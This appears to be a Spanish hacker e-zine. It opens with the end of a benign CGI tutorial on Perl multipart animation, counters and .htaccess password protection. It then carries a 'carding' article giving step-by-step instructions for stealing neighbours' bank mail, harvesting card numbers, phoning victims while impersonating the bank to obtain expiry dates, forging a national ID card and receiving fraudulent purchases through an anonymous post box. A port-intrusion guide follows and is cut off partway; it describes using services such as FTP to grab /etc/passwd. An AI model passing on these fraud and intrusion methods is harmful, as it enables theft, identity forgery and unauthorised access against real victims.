elige "rich text" en vez de plain text) y lo muestra.
Con el tipo "multipart/parallel", el cliente debera mostrar cada parte
simultneamente, si le fuera posible.
Con el tipo "multipart/mixed-replace" que ser el que utilizaremos, cada parte
del mensaje se superpone a la parte anterior; el cliente sobreescribe la
parte vieja con la ms nueva.

Un mensaje MIME multipart est compuesto de un header y una o ms partes que
componen la totalidad del mensaje. El header indica como deben ser procesadas
las distintas partes del mensaje y cuales son los separadores de las mismas,
como ejemplo;

Content-Type: multipart/x-mixed-replace;boundary=SeparaPartes


Cuando el cliente encuentra este tipo en el header, hace un refresh del sector
correspondiente cada vez que una nueva parte del mensaje llega,
sobreescribiendo de esta manera la anterior.

Cada parte del mensaje tiene su propio header, el cual indica el tipo de datos
que esa parte contiene, "plain text", un grfico GIF o HTML por ejemplo. 
El header de cada parte siempre se encuentra debajo del separador que
hallamos especificado (en la lnea que vimos le pusimos "SeparaPartes" de
nombre al separador , pero podramos haber utilizado cualquier otro).

El server indica el fin de un mensaje multipart enviando un separador con el
agregado de dos guiones, por ejemplo nuestro separador quedara;

--SeparaPartes

El script que sigue es una version reducida del NPH 1.2 creado por Matt Wright
y en l veremos una implementacin comentada del mecanismo que acabamos de
describir.
Ŀ
 #!/usr/bin/perl                                                            
 # Variables                                                                
 $veces = "1";                                                              
 $dirbase = "/WWW/images/animation/";                                       
 @archivos = ("primero.gif","segundo.gif","tercero.gif","primero.gif");     
 $tipo = "gif";                                                             
                                                                            
 # Hacemos que el stream de datos fluya sin un buffer para hacerlo mas rapid
 select (STDOUT);                                                           
 $| = 1;                                                                    
                                                                            
 # Comienzo del contenido multipart.                                        
 print "Content-Type: multipart/x-mixed-replace;boundary=separador\n\n";    
 print "--separador\n";                                                     
                                                                            
 # Este for toma cada imagen de la secuencia, la enva, manda un separador  
 #y luego enva la siguiente, repitiendolo las veces que indique $veces.    
 for ($num=1;$num<=$veces;$num++) {                                         
   foreach $archi (@archivos) {                                             
        print "Content-Type: image/$tipo\n\n";                              
        open(GIF,"$dirbase$archi");                                         
        print <GIF>;                                                        
       close(GIF);                                                          
       print "\n--separador\n";                                             
   }                                                                        
 }                                                                          


Lo nico que me quedara por aclarar es que ya que el tipo "x-mixed/replace"
fu definido por Netscape, solamente funcionar con su browser versin 1.1 y
posteriores.


GIF multipart.

En este caso no tendremos que programar nada y es por lejos la forma ms simple
de armar una animacin, aunque mantiene la desventaja de ser visualizados
nicamente por el Netscape 2.0 en adelante.
En definitiva se trata de ampliar las posibilidades del formato GIF89A (aquel 
que nos permite utilizar backgrounds transparentes).
Los archivos .GIF tienen al comienzo un "header" que indica su tamao y otros
datos, con programas como el Gif Construction Set ampliaremos este header e
incluremos lneas con la secuencia de imgenes y comandos de control.
El header de una animacin simple quedara de la siguiente manera:
 Ŀ
  HEADERGIF89AScreen(320x200) 
  LOOP                        
  CONTROL                     
  IMAGE320x200,256colours     
  CONTROL                     
  IMAGE320x200,256colours     
  CONTROL                     
  IMAGE320x200,256colours     
 
Ya que el Gif Construction Set trae un help bastante completo  y es sencillo
de usar no quisiera extenderme ms en el tema.
Sugerencia: Leer con el GifCon los .GIF que trae de ejemplo.

Si nos decidimos por utilizar este mtodo tengamos en cuenta lo siguiente.
La mayora de los browsers (descartando Netscape 2.0) mostrarn nicamente el
primer cuadro de la animacin y algunos pocos slo el ltimo.
De manera que si queremos que tratar de que la animacin luzca bien en
cualquier browser, la solucin ms simple es hacer que el primer cuadro sea
el ms presentable (nada de logos al revs;) y que el ltimo sea igual al
primero.


Counters.

Implementar un "counter" no es una tarea muy dficil. Bsicamente se graba en
un archivo el valor del contador, y cada vez que se hace un nuevo acceso a la
pgina controlada se lee este archivo, se incrementa en uno el valor ledo y
se vuelve a grabar. Veremos un fragmento de script que hace esta tarea.
Por otro lado no quera dejar de comentar que existen scripts ms complicados
que pueden generar una salida en la forma de un archivo .GIF. Estos scripts lo
que hacen es leer el valor a representar, "pegan" en una misma imagen los
dgitos que componen dicho nmero y la envan.
Si seguimos avanzando tambin encontraremos scripts que pueden controlar ms
de una pgina, ya que trabajan en base a un archivo ndice que almacena el
valor de los contadores para cada pgina en particular.
A los fines de este tutorial el ejemplo presentado es lo suficientemente
entendible como para poder implementarlo y practicar sin mucho trabajo.
Ŀ
 #!/usr/local/bin/perl                                                      
                                                                            
   open(CONTADOR,"$counter.dat") || die "Error al abrir el archivo: $!\n";  
   $contador = <CONTADOR>;                                                  
   close(CONTADOR);                                                         
   if ($contador =~ /\n$/) {                                                
      chop($contador);                                                      
   }                                                                        
                                                                            
   $contador++;                                                             
                                                                             
   print "<HTML><HEAD><TITLE>Bla,bla,bla..</TITLE></HEAD>"                  
                                                                            
   open(CONTADOR,">$counter.dat") || die "Error al cerrar el archivo: $!\n";
   print CONTADOR "$contador";                                              
   close(CONTADOR);                                                         





Pginas Web con proteccin por password.

Para no dejar de lado el tema de la seguridad abordaremos el uso de passwords
en el acceso a un servidor Web.
Necesitaremos nuevamente tener algunos conocimientos previos, en este caso del
manejo de archivos UNIX.
Si utilizamos otro tipo de plataforma para correr el Web Server, como Windows
NT, tendremos este tema solucionado con una muy sencilla configuracin a travs
del uso de menes (por lo menos con el Website).
Lo principal para aclarar antes de comenzar es que cuando utilizamos este
sistema (segn su mecanica interna) restringimos el acceso a un directorio,
no a una pgina en particular.

El mtodo se basa principalmente en poner en cada directorio a proteger un
archivo de nombre ".htaccess" que contiene los parmetros de configuracin de
la proteccin implementada y el nombre del archivo que contiene las passwords
que normalmente es el ".htpasswd".

Y se acab el misterio. Eso es todo. Cuando se le solicita al server una
pgina que tiene en su mismo directorio un ".htaccess", ste se encarga de
enviar los cdigos HTTP necesarios para que el browser levante la ventanita de
autentificacin.
Para explotar este recurso completamente pasaremos a analizar en detalle los
parmetros que pueden ser utilizados en el ".htaccess" y la forma en que
podemos mantener actualizado el ".htpasswd" .


El archivo ".htaccess".

Este archivo debe estar ubicado en el directorio que se desea proteger y dicha
proteccin afectar a todos los subdirectorios del mismo, a menos que posean
sus propios archivos ".htaccess".
Dado que se trata de un archivo de texto comn podremos actualizarlo con
cualquier editor del que dispongamos.

Ŀ
 AutUserFile .htpasswd                         
 AuthGroupFile /dev/null                       
 AuthName Ingrese su user ID y su password.    
 AuthType Basic                                
                                               
 <Limit GET>                                   
 require user usuario1 usuario2 usuario3 ..... 
 </Limit>                                      


Descripcin de los Parmetros.

AutUserFile: es el nombre del archivo que contiene los nombres de los
usuarios (users ID) y sus respectivas passwords. Este archivo debe estar
ubicado en el mismo directorio que ".htaccess" pero puede llevar cualquier
nombre. Por convencin le daremos el nombre de ".htpasswd" .

AuthGroupFile: Este es el nombre del archivo de grupo. Podemos setear
grupos de usuarios para que tengan acceso a un directorio, en el caso del
ejemplo no tenemos un archivos de estos armado, por lo que direccionamos
a null que significa que no existe ningn archivo de grupos.

AuthName: Es el string que aparecer en la ventanita que levanta el browser,
cuando se le pregunte al usuario su ID y su password.

AuthType: es la clase de seguridad que implementamos. "Basic" significa 
Autentificacin Bsica HTTP, es decir que la informacin enviada a travs de
la red NO ser encriptada sino que ser "uuencodeada" (uuencoded), lo cual
nos da un nivel de proteccin similar al de una sesin de telnet.
Existen otro mtodos adems de ste tales como PEM, PGP, Kerberos V5 y Digest.

En el ejemplo que vimos solamente el mtodo GET est restringido usando la
directiva <Limit>. Para limitar otras mtodos (particularmente en los
directorios CGI-BIN) se puede especificar los mismos separados por espacios
dentro de la directiva LIMIT. Por ejemplo:

<Limit GET POST PUT>
require user usuario1 usuario2 usuario3 .....
</Limit>

El comando "require" le dice al server cuales son los usuarios que estn
autorizados en ese directorio. Este comando puede tomar dos formas, "require
user" para limitar el acceso segn usuarios o bien "require group" para
limitar el acceso segn grupos de usuarios.
Existen otros comandos que pueden ser implementados en este nivel, como
"allow" y "deny" que permiten otorgar o denegar (respectivamente) el acceso
a un dominio en particular.

<Limit GET POST PUT>
order deny,allow
deny from all
allow from .mecon.ar
</Limit>

Restringiedo el acceso a los documentos de ese directorio a aquellas mquinas
que se encuentren en el dominio .mecon.ar y excluyendo a las restantes.
Cabe destacar que los ID utilizados son completamente arbitrarios (es decir no
tienen relacin con los usuarios del server).


El archivo .htpasswd .
Este archivo consiste en una lista de los user ID y sus password encriptadas,
es un archivo de texto comn por lo que puede ser movido, copiado o borrado
como cualquier otro.

Por ejemplo:

pedro:WkSK1DE7N8.9.
pablo:hQty39EV1.g56
diego:JeB31vf9PSTgw
susana:EDRfRrfrw43q

Como no podemos crear una password encriptada "a mano" usaremos una herramienta
llamada htpasswd que permite construir este tipo de archivos.
Esta herramienta se usa de la siguiente manera:

Server> htpasswd -c .htpasswd USUARIO
Adding password for USUARIO
New password:********
Re-type new password: *******

Si queremos modificar la password de USUARIO en otro momento usamos la misma
sintaxis. Para eliminar usuarios simplemente se borra la lnea correspondiente
dentro del archivo.


Proteccion a nivel de grupo
Cuando tenemos un gran nmero de usuarios que mantener podemos facilitar el
manejo de los mismos separndolos en "grupos" creando un archivo de nombre
".htgroup" (por convencin) con el siguiente formato:

nombregrupo1: primeruser segundouser  .... ltimouser
nombregrupo2: primeruser segundouser  .... ltimouser
nombregrupo3: primeruser segundouser  .... ltimouser

y debemos cambiar el require por un "require group nombregrupo ".



Final del tutorial (por ahora).

Con el tema de las "passwords" damos por terminada la tercera parte de este
documento, lo que sigue es un apndice con links que me fueron bastante tiles
al momento armarlo, la bibliografa utilizada y algo de vocabulario.
Terminar esta tercera parte fu algo ms que un triunfo, (pensar que haba
planeado tenerla lista para fines de marzo:), cada vez que agarraba el doc
surga un tema nuevo, y as. 
Releyendo las otras partes me doy cuenta que faltan algunos tems (oh no..ms
laburo :P) o que por lo menos estn un poco incompletos, paciencia en cuanto
pueda sale una nueva versin corregida y aumentada.
Lo prximo que tengo en mente en cuanto a tutorials estar basado en el uso de
frames y JavaScript en pginas HTML, una tecnologa interesante pero no madura
del todo en este momento, as como tambin una mini-introduccin al lenguaje
Perl, de manera que en algunos meses ms empezar por ese lado.
A propsito, ustedes notarn que desde que empez esto del tutorial mis
preferencias programticas han ido cambiando a lo largo del tiempo. 
Estos cambios tienen su fundamento; Perl es portable, es fcil de usar y de
aprender, es freeware y adems es interpretado de manera que el ciclo edicin/
testeo se hace mucho ms corto.
Escribir este tutorial fu una tarea bastante grata, aprend muchsimo tratan
do de explicar algunos conceptos,y como siempre para hacer de esta una tarea
completa espero sus comentarios (de los buenos y de los otros ;), en mi email:
dquir@indec.mecon.ar ,los cuales sern de gran ayuda en mis proyectos futuros.

Suerte y buenos scripts!
(frase afanada de algn lado)
                                        Sebass.


Prximos Desarrollos.
El protocolo HTTP y HTTP-NG.
Meta Tags y su uso ( y abuso).
CGI scripts en otros lenguajes (Visual Basic por ejemplo)
HTML/CGI como front/end de nuestros programas.
Introduccion a Java y JavaScript.
Introduccion a Perl y aplicaciones CGI.

PD: Parece que no puedo dejar de escribir, no quera dejar de comentar que las
versiones HTML y Word del tutorial estarn disponibles en breve.


--
APENDICE: Libreras para la Programacin de scripts CGI.

Estos son los URL de las libreras utilizadas en los ejemplos de este documento.

Librera C      > UnCGI      > http://www.hyperion.com/~koreth/uncgi.html
Librera Pascal > TPWCGI     > http://141.2.61.48/tpwcgi/tpwcgi.htm
Librera Perl   > CGI-LIB.PL > http://www.bio.cam.ac.uk/cgi-lin/1.14/cgi-lib.pl.txt


Sites con informacin acerca de CGI.
Estos sites contienen mucha de la informacin que fu utilizada para crear
este documento y son realmente muy interesantes.

http://shani.net:80/~tls/guide/index.html
http://www.stars.com/Vlib/Providers/CGI.html
http://super.sonic.net/ann/delphi/cgicomp/detail.html
http://www.city.net/win-httpd/httpddoc/wincgi.htm
http://www.aspectse.com/Product/dbWeb/dbWeb.html
http://128.172.69.106:8080/cgi-bin/cgis.html
http://users.aol.com/thingtone/workshop/index.htm



Vocabulario - Siglas.

URL: Universal Resource Locator
     Una nomenclatura que describe en forma compacta la ubicacin de cada
     recurso en la Internet y el protocolo utilizado para acceder al mismo.

MIME: Multipurpose Internet Mail Extensions
     Una nomenclatura que permite identificar  correctamente el tipo de
     datos que se esta enviando a travs de una conexin.

HTML: HyperText Markup Languaje
     Un lenguaje para el "armado" de documentos de hypertexto incluyendo
     "links" y algunas otras caratersticas adicionales.

CGI: Common Gateway Interface
    Un mecanismo que permite a los browser de Web ejecutar programas en el
    server Web y recibir la "salida" de estos programas.
    
HTTP: HyperText Transport Protocol
     Un protocolo para la transferencia de documentos de hypertexto y otro
     tipo de archivos.

VRML:Virtual Reality Modeling Languaje
     Un lenguaje que mediante "modelos" permite generar visiones 3D de un
     universo con "links" y otras caractersticas adicionales.



Bibliografa.

An exploration of Dynamic Documents - Netscape Corporation.
Very Limited Guide to HTML - Kevin Werbach.
CGI tutor - Bex Lanner.
HTML-based Interfaces - Nik Swoboda.
CGI Tutorial - Agora.
An guide to HTML and CGI scripts - Mike Smith.
Mosaic User Authentication Tutorial - NCSA.
Web Page Password Protecion - CNC.


FIN DEL TUTORIAL
Ŀ                     01/05/96
ͻ Sebastin Quiroga.
Este documento puede ser reproducido en su   
totalidad o en parte siempre que se conserve Email:   
esta postdata o bien se haga clara mencin    dquir@indec.mecon.ar
de la fuente.                                 diego@comunicaciones.mecon.ar
ͼ 
Ŀ  
Versin: 1.00


 oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
 Aqui tienes algo de carding, aunque no te recomiendo que lo pongas en
 practica si no quieres acabar en la carcel ...
 oOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO

 4 - CARDING
 ~~~~~~~~~~~
       CARDING - CARDING - CARDING - CARDING - CARDING
       ++++++++++++++++++++++++++++++++++++++++++++++++
                                                           by SlimeLORD              
                                                           eclipse GROUP
        Que mejor que poder acceder a cualquier sitio,
        o por ejemplo, no se te ha ocurrido nunca?
        El poder comprar GRATIS por Internet, para ello,
        debes conseguir lo siguiente:

 * Una carta del banco, de cualquier persona (que sea extracto de cuenta)

 * O bien un resguardo de esos que tiran al lado de los
   cajeros automaticos.

 * Un generador de numeros de tarjetas de credito

 * Un poco de perspicacia

 * Un apartado postal creado a partir de un carnet falso



    PRIMERO.
    ++++++++


    Bien, no sabes como conseguir cartas del banco? No vives en un piso?
    Umm nunca has mirado los buzones de tus vecinos?
    Pues ya es HORA! Busca bien sobre todo cartas de bancos, ARGENTARIA,
    BBV, CENTRAL-HISPANO, RURAL...

    Bien, una vez tengas uno, suelen salir los extractos sobre finales
    de mes, ya sea el 22, 23, 24, de ese mes, tenlo en CUENTA, y sobre
    todo cuando lo deja el cartero, luego APROVECHA que no te pille nadie
    y SAQUEA el correo .
    ADVERTENCIA:  Robar el CORREO ES DELITO!

    Bien, ahora si la carta es correcta, obtendras los datos de tu vecino
    y mira el saldo que le queda: Guau! una pequea fortuna, a que si?
    jeje,
    Debes obtener los siguientes datos:

    PROPIETARIO/A DE LA CUENTA,
    ENTIDAD ( 4 cifras)
    OFICINA ( 4 cifras)
    D.C     ( 2 cifras)
    CUENTA  (10 cifras)

    En total un numerito de 20 cifras, ok?

    Bueno, pues AHI tienes la cuenta, pero SORPRESA de su extracto he
    conseguido su numero de tarjeta de credito, UFF!!
    CHAVAL espera!!!!!!!!

    SEGUNDO.
    ++++++++

    suelen tener este aspecto los extractos de tarjetas de credito:

  F.OPER.      CONCEPTO                        F.VALOR    CARGOS      ABONOS

 14-01       SALDO ANTERIOR                                          210.000
 14-01       CUOTA TARJETA                        9-01
             TARJETA   XXXX XXXX XXXX XXXX       13-01   750.000
 14-01       OPERATORIA EN CAJEROS SERVIRED
             XXXX XXXX XXXX XXXX  YYYY YYYY YYY  19-01
 19-01       RETIRADA EFECTIVO CAJERO BBV
             XXXX XXXX XXXX XXXX  YYYY YYYY YYY  22-01


     Gueno, pos la tarjeta la teneis dada, ahora solo queda
     chequearla en vuestro CHEQUEADOR DE TARJETAS DE CREDITO, valen
     la THC-CARD, CCARD CREATOR...  y demas. A partir de esa puedes
     generar tarjetas aleatorias, jeje te serviran para siguientes actos!
     
     Si es asi, BIEN, puedes usar la tarjeta para hacer compras por
     INTERNET, pero..ummm, COMO COO?  ( umm, come lo que quieras..) X'DDD


   SEGUNDO.b
   +++++++++

    Este articulo tenia 4 pasos pero la creciente demanda de direcciones
    y paginas WEB que hacen seguras sus transacciones a traves de servidores
    chequeadores de tarjetas, me he tenido obligado a retocar el articulo
    (version beta 0.1.2) xDDDDDDDD  Bueno, todos habreis usado cualquiera
    de los miles de generadores de tarjetas que hay disponibles no?
    Bien pero ERROR, ya no se las traga, :( Bueno hay OTRA solucion,
    O bien creo hay una pagina HACK donde instantaneamente al ponerle
    un numero de VISA p.ej te genera la fecha de caducidad y se la traga
    la WEB9000 (si saben la dire avisenme)... O bien se puede hacer
    el viejho trukhoh! del almendrukhoh (esto es con asento americanou)...xDDD

    Al pillar la carta de tu vecino/a pues sabes la direccion de donde
    es ella, y si pillaste su numero de tarjeta puedes usar tu ingenieria
    social, para a) conseguir su numero de telefono, como?
    llamala por el porterillo y dile que eres de la revision del gas, p.ej
    y que si es ella la se;ora tal ... que si me podria dar su numero de
    telefono, mas facil es llamar al 003 y que te digan su numero....
    Bien empapate de los datos suyos bancarios y hazle una llamada sobre
    las 11.00 de la ma;ana, ponle voz de convencido sino no funciona...
    Y dile, TU: "muy buenos dias, mire le llamo desde el banco XXXXX
    y resulta que estoy comprobando unos datos.... Vd es la se;ora XXXXX
    no? Tiene ahi su numero de tarjeta VISA???"
    a esperar un momentito... no  te rias....
    Bien, el titular es XXXXX (dato que ya tenias...) y el numero es XXXXX
    y se lo sueltas, " te respondera que si, ahora dile que la fecha
    de caducidad se la han cambiado, y preguntale que cual era la
    que tenia IMPRESA.... Y et BoILA! Ya tienes numerito y hasta con
    fecha de caducidad....
    Dile que gracias por corregir los datos y buenos dias...."
    OK, ahora grita de contento!!!!
    GASTATE TODO EL DINERAL DE TU VECINO!!!!!!!!!!!
    jajajaja.
    (ej. en bonos de internet de telefono, net2phone.... playboys...
    teletienda... ui madre miaaaaaaaaaaa ....)


   TERCERO
   ++++++++


   Bien, habras visto muchas cosas para comprar por INTERNET, teletienda,
   internet-shop, y demas...
   Busca tan siquiera en el OLE, tiendas, o teletiendas...
   Veras como salen a porrillo... Sobre todo que sean ESPAOLAS, o las
   de la tele mismamente, esos 903 o 906 YO KE SE!
   Bien, tienes una localizada, no?
   OK, vamos a comprar.
   HAY QUE SABER COMPRAR.
   Por ejemplo, que comprariais?
   Una butifarra? Un champu antipiojos?
   :? NO HOMBRE KE MAL GUSTO TIENES!
   Una consola? Un componente nuevo para tu PC?
   Ok eso siempre!!! FALE!  Ahora te pediran los datos y OJOR!!!!
   JARLH!! te pide la direccion donde mandarlo, umm! esto tiene truco
   NUNCA DEIS NINGUN DATO VUESTRO REAL!!   OK?
   FALE, para recibir el "regalito" create un APARTADO POSTAL ANONIMO.
   Umm , como? Vale, hazte un escaneo de tu DNI, le cambias la foto un
   poquito, date cuenta que bien puede ser la de un colega tuyo de 14 tacos.
   X'DDDDDDDD
   OJO: ADVERTECIA: POSEER UN DNI FALSO ES DELITO PENADO POR LEY!
   RECOMENDADO HACERTE CON UN DNI  DE LOS ANTIGUOS; ESOS NO TIENEN
   RELIEVE EN EL DNI, Y DA MAS EL PEGO...( cambiale la caducidad! )
   Que se parezca vagamente a ti, OK, luego se la pegas en la que
   has imprimido, te sugiero la hagas con una impresora a COLOR, tipo
   EPSON 800 o similar, a 600 ppp, or better a 1400!  Bien, ahora
   la llevas a cualquier fotocopiadora y que te la plastifiquen. OKIZ?
   Hazlo lo mejor posible, aunque seas un MANOTAS seguro lo consigues.

   OK! Bien, ahora sacale una fotocopia que es lo que te pediran en
   CORREOS para sacartelo... pagan las 3000 pelas, et voila!
   Apartadillo para ti solo!

   Ahora ya puedes pedir que te manden el regalito a ese apartadillo
   postal a nombre del DNI falso que tas currao!

   Bien, no abuses de este metodo, pues AVISO: si es una ciudad grande
   tipo MADRID , BARCELONA, no deberiais tener problemas, pero si es
   un pueblecito, mejor NO hacerlo, pues OS CONOCEN!
   Bien, una vez lo hayas pedido, date cuenta que tardara sobre unos
   4-5 dias, segun la rapidez del transporte, BIEN!, vete bien temprano
   el dia que creas que ha llegado y saca tu paquete, si te dejan una
   nota diciendo que vayas a otro sitio a recojerlo, umm, suena RARO,
   mejor no vayas!  Tambien , mejor hecha un vistacillo alrededor
   a ver si ves algo raro, gente esperando, mirando  a las enrtadas,
   umm, esto es muy importante, ya que pueden ser de la secreta...

   Vale, pide cositas importantes, pero a la vez pequeas,
   como por ejemplo tarjetas graficas 3D, consolas, grabadoras...
   cosas pequeas y de valor... discos duros...
   Bien, 
   Otro consejito:

   No uses el apartado para lo mismo tres o 4 veces, te podrian cazar,
   y recuerda, ves a recojer tu paquete o BIEN cuando creas que ha
   o debe de llegar, o bien pasate al mes siguiente, seguro que nadie
   se da cuenta, y ES LO MAS SEGURO.  RECOMENDADO!

   Umm, si le pagas 500 pelas a un chavalillo, hasta el mismo te lo
   puede traer, pero citalo en un sitio donde NO haya nadie, y observalo
   de lejos no vaya a ser que lleve compaia, me pillas?
   JHumm!


   CUARTO.
   +++++++

   Bien, eres UNIVERSITARIO? JORL! bien , bien , bien, amos a haserlo
   mas fasil, los estudiantes universitarios suelen / solemos ( X'DD)
   vivir en pisos de alquiler, USA esto para recojer tus paquetes,
   los compaeros que te busques deben ser esporadicos, osea que
   un mes aqui, otro alla, y con nombre falso, dni falso, umm direccion
   falsa... Uff, cuanto mas falso tengas mejor..
   Bene , bene! Pidelo a esa direccion, e intenta que te lo envien a
   finales de mes, asi podras largarte a fin de mes, sin dejar sospechas.

   O si te pillan en el piso y tienes confianzas con tus colegas diles
   que llegaban cosas a esta direccion sin mas y que tu no tienes nada
   que ver, pero como llegaban gratis pues nos lo quedamos...

   Puedes pedir, segun te vayas experimentando en el tema mas cosas,
   segun sea, pero CAREFUL, se cuidadoso, y otra cosa importante,
   te puede servir para conseguir cartas de tus vecinos nuevos...
   Ya sabes, lo tienes a guevo!

   SALUTOS!
   BYEZ                                                        SlimeLORD
                                                               eclipse GROUP        
                                                             slimelord@usa.net

 pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq
 Dado que hay muchos articulos sobre Unix y sobre que hacer una vez dentro de
 un sistema, he escrito este que puede ayudarte a hacer lo mas importante,
 entrar ....
 pqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpqpq

 5 - COMO APROVECHAR LOS PUERTOS DE UN SISTEMA
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

              OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO
              o                                             o
              O  CoMo aPRoVeCHaR LoS PueRToS De uN SiSTeMa  O
              o                                             o
              O                                   GuyBrush  O
              o                                             o
              OoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoOoO


 A.-INTRODUCCION
    ~~~~~~~~~~~~

   Como todos sabeis, uno de los primeros pasos (por no decir el primero) a
   la hora de buscar informacion sobre un sistema es hacer un escaneo de
   puertos. Pero una vez hecho este, que aprovechamos realmente? mucha gente
   solamente se fija en el puerto 23 (telnet) y si ve este cerrado ya lo toma
   por imposible.

   Con este texto quiero mostrar la gran utilidad de otros puertos tambien
   importantes, bien para recopilar informacion, bien para hackear (aunque
   no se disponga de acceso a la cuenta shell).
                                     
   (El que no sepa que es esto de escanear puertos mejor que se lea antes
   los numeros atrasados de RareGaZz).



 B.-LISTADO DE LOS PUERTOS MAS IMPORTANTES
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

   Aunque ya han aparecido listados de puertos en otros numeros de este zine,
   quiero volver a escribirlos para una mayor comodidad del lector; y asi,
   poder tenerlos mas a mano.

     Puerto     Servicio        Utilidad - [ o inutilidad  :) ]
     -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
        7       echo            Lo que teclees se volvera a escribir
        9       discard         dev/null - basura
        11      systat          Informacion sobre los usuarios
        13                      Hora y fecha en el host remoto
        15      netstat         Informacion sobre la red
        19      chargen         Muchos caracteres ASCII. ^C para detenerlo
        21      ftp             Transferencia de ficheros
        23      telnet          Acceso al shell
        25      smtp            Correo saliente
        37      time            Hora en el host remoto
        39      rlp             Localizacion del recurso
        43      whois           Informacion sobre la red y el host
        53      domain          Nombre del servidor
        70      gopher          Buscador de informacion (ya anticuado)
        79      finger          Informacion sobre los usuarios
        80      www             Servidor de Web
        109     pop2            Correo entrante
        110     pop3            Correo entrante
        119     nntp            Grupos de noticias (news)
        443     shttp           Otro servidor de Web
        512     biff            Notificacion de correo
        513     rlogin          Login remoto
        514     shell           Comando remoto
        515     spooler
        520     route           Protocolo de informacion routing
        8000    http
        8080    proxy



 C.-ANALIZANDO ALGUNOS PUERTOS A FONDO
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
   Vamos a analizar la manera de sacar el mayor provecho a esos servicios
   que encontramos disponibles cuando hacemos un escaneado de puertos.
   

                        """""""""""""""""""""""
                        " PUERTO 15 (NETSTAT) "
                        "                     "
                        """""""""""""""""""""""
     - Utilidad
       =-=-=-=-

       Nos muestra una gran informacion sobre el sistema. Este puerto esta
       destinado a hacer estadisticas sobre la red.

     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo newbie
         -------------
         Solo tienes que escribir 'netstat <parametros>'. De todos modos, aqui
         te pongo una pequea ayuda para que veas lo que se puede conseguir:

         Parametros soportables:

                ?               Ayuda de uso (algo parecido a esto, pero en
                                ingles)  :)
                -a              Muestra todas las conexiones en cualquier
                                puerto
                -e              Estadisticas de la Ethernet. Esta opcion puede
                                ser combinada con '-s'
                -n              Muestra las direcciones y numeros de puerto de
                                forma numerica
                -p protocolo    Muestra las conexiones del protocolo 'tcp' o
                                'udp' especificado
                -r              Muestra el contenido de la tabla de enrutado
                -s              Estadisticas de los protocolos. Por defecto
                                estan el 'TCP', 'UDP' e 'IP', pero se pueden
                                especificar mas mediante el parametro '-p'
                intervalo       Muestra el resultado por paginas. Evita que se
                                te pierda la informacion por el scroll de la
                                pantalla

       * Estilo hacker
         -------------
         Haz telnet al puerto 15 y preparate para recibir informacion. Lo
         mejor es que redirijas la salida a un fichero y luego lo edites y
         estudies tranquilamente.


                        """""""""""""""""""
                        " PUERTO 21 (FTP) "
                        "                 "
                        """""""""""""""""""
     - Utilidad
       =-=-=-=-

       Supongo que todos sabreis que el FTP sirve para acceder a un ordenador
       para coger / dejar ficheros. Es similar al acceso por telnet, pero con
       muchas mas restricciones, como por ejemplo, no poder ejecutar ficheros.
       Pero como tambien sabeis, presenta la ventaja de que en muchos sistemas
       hay un usuario 'ftp' o 'anonymous' que te permite acceder libremente
       poniendo como password 'guest' o tu nombre de usuario (Mmm mejor guest).

     - Formas de explotarlo
       =-=-=-=-=-=-=-=-=-=-

       * Estilo newbie
         -------------
         Vamos a ver cuales son las ordenes que se pueden utilizar al hacer un
         FTP:

                HELP --> Muestra la lista de comandos disponibles. Los que
                         tienen un * al lado estan deshabilitados.
                HELP comando --> Muestra ayuda de uso de ese comando.
		USER --> Especificar un nombre de usuario.
		PWD --> Especificar un password para el nombre de usuario
                        introducido anteriormente.
 		! --> Ejecutar ordenes de nuestro sistema sin salir del FTP.
 		      Si por ejemplo escribimos '!dir *.*' (sin comillas) 
 		      veremos el contenido de nuestro disco duro (tener en
 		      cuenta que pongo 'dir' si estoy bajo MS-DOS. Debemos
 		      utilizar las ordenes de 'nuestro' sistema).
                ACCOUNT --> Cuenta de usuario.
                STORE --> Este comando hace que el servidor acepte los datos
                          transferidos y que los almacene en un fichero.
		SUNIQUE --> Similar a STOR excepto que el fichero creado debe 
		            tener un nombre unico para ese directorio.
		APPEND --> Similar a STOR, pero si el fichero ya existe los 
                           datos se almacenaran al final del archivo, sin 
                           sobreescribir el fichero original.
                CD --> Cambiar de directorio  :)
                CDUP --> Ir al directorio raiz ( = CD / ).
                MKDIR --> Crear un directorio.
                RMDIR --> Borrar un directorio vacio.
                DELE / DELETE --> Borra un fichero del servidor.
                LS --> Ver el contenido del directorio (igual que en Unix).
                CHMOD --> Cambiar permisos de fiheros (igual que en Unix).
                PWD --> Indica el directorio actual (igual que en Unix).
                LCD --> Cambia el directorio local de trabajo.
                QUIT / BYE --> Terminar la conexion.
                TYPE modo --> Especifica el tipo de representacion de los 
                	      datos. El paremetro 'n' puede ser:
                		- ascii
                		- binary
                		- image
                		- ebcdic
                		- tenex
                	      (Los parametros dependen del sistema).
         	PROMPT --> Activar /desactivar el modo interactivo. Nos
		           sirve para poder subir / bajar muchos ficheros
		           sin que nos pida conformacion cada vez.
		GET --> Bajar un fichero.
		PUT --> Subir un fichero.
		MGET --> Similar a GET pero baja multiples ficheros (por 
		         ejemplo: 'MGET /etc/passwd').
		MPUT --> Similar a PUT pero sube multiples ficheros.		         
		VERBOSE --> Activa / desactiva el modo verbose. Nos da mas
		            informacion sobre los comandos que ejecutamos.
		MODE --> Especificar el modo de transferencia de datos. Los 
		         modos posibles son:
				S - Stream
				B - Block
				C - Compressed
		RESTART --> Le indica al servidor el indicador de lugar en el 
		            cual la transferencia de un fichero debe ser 
		            continuada. Debe ir seguido de un comando apropiado
		            para que la transferencia continue.
